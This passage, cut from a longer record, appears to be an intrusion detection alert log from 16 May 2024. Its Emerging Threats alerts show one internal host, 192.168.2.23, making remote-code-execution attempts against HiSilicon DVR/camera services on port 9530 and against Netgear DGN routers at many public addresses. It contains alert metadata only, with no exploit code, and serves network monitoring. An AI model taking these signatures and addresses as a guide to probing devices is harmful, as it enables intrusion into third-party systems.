Source Port:	37356
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 99.28.16.137

Timestamp:	05/16/24-16:38:55.192902
SID:	2030488
Source Port:	47464
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 99.28.16.137

Timestamp:	05/16/24-16:38:55.192902
SID:	2030487
Source Port:	47464
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 70.98.192.175

Timestamp:	05/16/24-16:38:50.046637
SID:	2030488
Source Port:	38404
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.132.175.45

Timestamp:	05/16/24-16:38:55.196405
SID:	2030488
Source Port:	56610
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 18.132.175.45

Timestamp:	05/16/24-16:38:55.196405
SID:	2030487
Source Port:	56610
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 70.98.192.175

Timestamp:	05/16/24-16:38:50.046637
SID:	2030487
Source Port:	38404
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 176.143.134.172

Timestamp:	05/16/24-16:39:08.044880
SID:	2030488
Source Port:	38252
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 176.143.134.172

Timestamp:	05/16/24-16:39:08.044880
SID:	2030487
Source Port:	38252
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.20.254.63

Timestamp:	05/16/24-16:38:53.084704
SID:	2030488
Source Port:	33670
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.20.254.63

Timestamp:	05/16/24-16:38:53.084704
SID:	2030487
Source Port:	33670
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 143.231.83.164

Timestamp:	05/16/24-16:38:55.199371
SID:	2030487
Source Port:	33220
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 166.107.22.155

Timestamp:	05/16/24-16:39:05.704081
SID:	2030487
Source Port:	44714
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.5.150.215

Timestamp:	05/16/24-16:39:05.704006
SID:	2030488
Source Port:	59566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 94.238.142.178

Timestamp:	05/16/24-16:39:08.149061
SID:	2030488
Source Port:	57954
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 188.5.150.215

Timestamp:	05/16/24-16:39:05.704006
SID:	2030487
Source Port:	59566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 94.238.142.178

Timestamp:	05/16/24-16:39:08.149061
SID:	2030487
Source Port:	57954
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 79.152.80.23

Timestamp:	05/16/24-16:39:05.699190
SID:	2030488
Source Port:	41490
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 143.231.83.164

Timestamp:	05/16/24-16:38:55.199371
SID:	2030488
Source Port:	33220
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 79.152.80.23

Timestamp:	05/16/24-16:39:05.699190
SID:	2030487
Source Port:	41490
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 20.251.5.111

Timestamp:	05/16/24-16:39:14.492303
SID:	2030488
Source Port:	49812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 105.97.43.86

Timestamp:	05/16/24-16:38:50.069051
SID:	2030488
Source Port:	59332
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 105.97.43.86

Timestamp:	05/16/24-16:38:50.069051
SID:	2030487
Source Port:	59332
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 166.107.22.155

Timestamp:	05/16/24-16:39:05.704081
SID:	2030488
Source Port:	44714
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 71.82.254.133

Timestamp:	05/16/24-16:39:08.137725
SID:	2030487
Source Port:	56304
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 71.82.254.133

Timestamp:	05/16/24-16:39:08.137725
SID:	2030488
Source Port:	56304
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 20.251.5.111

Timestamp:	05/16/24-16:39:14.492303
SID:	2030487
Source Port:	49812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 140.253.57.245

Timestamp:	05/16/24-16:38:59.609968
SID:	2030488
Source Port:	41176
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 140.253.57.245

Timestamp:	05/16/24-16:38:59.609968
SID:	2030487
Source Port:	41176
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 199.213.101.160

Timestamp:	05/16/24-16:39:08.127993
SID:	2030488
Source Port:	50156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 199.213.101.160

Timestamp:	05/16/24-16:39:08.127993
SID:	2030487
Source Port:	50156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 84.237.126.186

Timestamp:	05/16/24-16:39:13.663775
SID:	2024916
Source Port:	58096
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 184.30.113.217

Timestamp:	05/16/24-16:38:57.413289
SID:	2030488
Source Port:	47154
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 184.30.113.217

Timestamp:	05/16/24-16:38:57.413289
SID:	2030487
Source Port:	47154
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 103.174.5.159

Timestamp:	05/16/24-16:39:05.676849
SID:	2030488
Source Port:	45830
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 182.196.102.135

Timestamp:	05/16/24-16:38:53.011190
SID:	2030488
Source Port:	52366
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 103.174.5.159

Timestamp:	05/16/24-16:39:05.676849
SID:	2030487
Source Port:	45830
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 182.196.102.135

Timestamp:	05/16/24-16:38:53.011190
SID:	2030487
Source Port:	52366
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 117.9.130.219

Timestamp:	05/16/24-16:38:55.213081
SID:	2030487
Source Port:	57350
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 117.9.130.219

Timestamp:	05/16/24-16:38:55.213081
SID:	2030488
Source Port:	57350
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 143.216.62.195

Timestamp:	05/16/24-16:38:55.207705
SID:	2030487
Source Port:	37468
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 42.222.106.168

Timestamp:	05/16/24-16:38:50.001247
SID:	2030487
Source Port:	57522
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 143.216.62.195

Timestamp:	05/16/24-16:38:55.207705
SID:	2030488
Source Port:	37468
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 42.222.106.168

Timestamp:	05/16/24-16:38:50.001247
SID:	2030488
Source Port:	57522
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 93.6.4.242

Timestamp:	05/16/24-16:38:55.192823
SID:	2030488
Source Port:	47426
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 93.6.4.242

Timestamp:	05/16/24-16:38:55.192823
SID:	2030487
Source Port:	47426
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 158.118.213.126

Timestamp:	05/16/24-16:39:12.304041
SID:	2030487
Source Port:	52844
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 158.118.213.126

Timestamp:	05/16/24-16:39:12.304041
SID:	2030488
Source Port:	52844
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 47.5.158.129

Timestamp:	05/16/24-16:38:55.198254
SID:	2030487
Source Port:	43208
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 47.5.158.129

Timestamp:	05/16/24-16:38:55.198254
SID:	2030488
Source Port:	43208
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 190.102.120.65

Timestamp:	05/16/24-16:39:14.492411
SID:	2030487
Source Port:	51968
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 190.102.120.65

Timestamp:	05/16/24-16:39:14.492411
SID:	2030488
Source Port:	51968
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 123.255.148.162

Timestamp:	05/16/24-16:39:05.699945
SID:	2030488
Source Port:	60498
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 220.80.128.39

Timestamp:	05/16/24-16:39:03.262258
SID:	2030488
Source Port:	47754
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 123.255.148.162

Timestamp:	05/16/24-16:39:05.699945
SID:	2030487
Source Port:	60498
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 80.65.243.139

Timestamp:	05/16/24-16:39:16.614022
SID:	2030487
Source Port:	43378
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 220.80.128.39

Timestamp:	05/16/24-16:39:03.262258
SID:	2030487
Source Port:	47754
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.110.214.72

Timestamp:	05/16/24-16:39:12.400939
SID:	2030488
Source Port:	37884
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 86.110.214.72

Timestamp:	05/16/24-16:39:12.400939
SID:	2030487
Source Port:	37884
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 182.94.167.167

Timestamp:	05/16/24-16:39:14.509993
SID:	2030488
Source Port:	58604
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.65.243.139

Timestamp:	05/16/24-16:39:16.614022
SID:	2030488
Source Port:	43378
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 1.213.162.54

Timestamp:	05/16/24-16:39:05.512197
SID:	2024916
Source Port:	34372
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 182.94.167.167

Timestamp:	05/16/24-16:39:14.509993
SID:	2030487
Source Port:	58604
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 152.200.171.44

Timestamp:	05/16/24-16:39:05.677908
SID:	2030487
Source Port:	57466
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.26.180.14

Timestamp:	05/16/24-16:39:08.041043
SID:	2030488
Source Port:	51792
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 182.19.23.41

Timestamp:	05/16/24-16:39:16.610477
SID:	2030487
Source Port:	40684
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 152.200.171.44

Timestamp:	05/16/24-16:39:05.677908
SID:	2030488
Source Port:	57466
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 124.58.249.215

Timestamp:	05/16/24-16:39:14.529070
SID:	2030488
Source Port:	49862
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 182.19.23.41

Timestamp:	05/16/24-16:39:16.610477
SID:	2030488
Source Port:	40684
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 181.26.180.14

Timestamp:	05/16/24-16:39:08.041043
SID:	2030487
Source Port:	51792
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 124.58.249.215

Timestamp:	05/16/24-16:39:14.529070
SID:	2030487
Source Port:	49862
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 161.165.171.81

Timestamp:	05/16/24-16:38:59.584459
SID:	2030488
Source Port:	40904
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 174.100.226.111

Timestamp:	05/16/24-16:39:14.494669
SID:	2030487
Source Port:	60696
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 161.165.171.81

Timestamp:	05/16/24-16:38:59.584459
SID:	2030487
Source Port:	40904
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 174.100.226.111

Timestamp:	05/16/24-16:39:14.494669
SID:	2030488
Source Port:	60696
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 150.182.133.125

Timestamp:	05/16/24-16:38:53.013613
SID:	2030488
Source Port:	47180
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 208.113.11.145

Timestamp:	05/16/24-16:39:14.493461
SID:	2030488
Source Port:	59550
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 208.113.11.145

Timestamp:	05/16/24-16:39:14.493461
SID:	2030487
Source Port:	59550
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 77.155.253.25

Timestamp:	05/16/24-16:39:05.699180
SID:	2030488
Source Port:	60062
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 77.155.253.25

Timestamp:	05/16/24-16:39:05.699180
SID:	2030487
Source Port:	60062
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 143.175.70.0

Timestamp:	05/16/24-16:39:12.383638
SID:	2030487
Source Port:	34138
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 143.175.70.0

Timestamp:	05/16/24-16:39:12.383638
SID:	2030488
Source Port:	34138
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 4.148.143.29

Timestamp:	05/16/24-16:38:59.557760
SID:	2030487
Source Port:	43874
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 4.148.143.29

Timestamp:	05/16/24-16:38:59.557760
SID:	2030488
Source Port:	43874
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 150.182.133.125

Timestamp:	05/16/24-16:38:53.013613
SID:	2030487
Source Port:	47180
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 27.224.180.39

Timestamp:	05/16/24-16:38:57.411158
SID:	2030487
Source Port:	58764
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 162.108.181.67

Timestamp:	05/16/24-16:38:59.519338
SID:	2030488
Source Port:	45342
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 162.108.181.67

Timestamp:	05/16/24-16:38:59.519338
SID:	2030487
Source Port:	45342
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 173.231.204.251

Timestamp:	05/16/24-16:39:12.406700
SID:	2030487
Source Port:	39956
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 131.192.0.225

Timestamp:	05/16/24-16:39:14.521988
SID:	2030488
Source Port:	60642
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 173.231.204.251

Timestamp:	05/16/24-16:39:12.406700
SID:	2030488
Source Port:	39956
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 79.178.117.24

Timestamp:	05/16/24-16:39:08.044880
SID:	2030488
Source Port:	51682
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 87.160.201.217

Timestamp:	05/16/24-16:39:16.597932
SID:	2030488
Source Port:	34090
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 27.224.180.39

Timestamp:	05/16/24-16:38:57.411158
SID:	2030488
Source Port:	58764
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 79.178.117.24

Timestamp:	05/16/24-16:39:08.044880
SID:	2030487
Source Port:	51682
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 131.192.0.225

Timestamp:	05/16/24-16:39:14.521988
SID:	2030487
Source Port:	60642
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 87.160.201.217

Timestamp:	05/16/24-16:39:16.597932
SID:	2030487
Source Port:	34090
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.12.165.95

Timestamp:	05/16/24-16:38:57.424472
SID:	2030488
Source Port:	43456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 70.115.237.56

Timestamp:	05/16/24-16:39:05.677813
SID:	2030488
Source Port:	57540
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 5.12.165.95

Timestamp:	05/16/24-16:38:57.424472
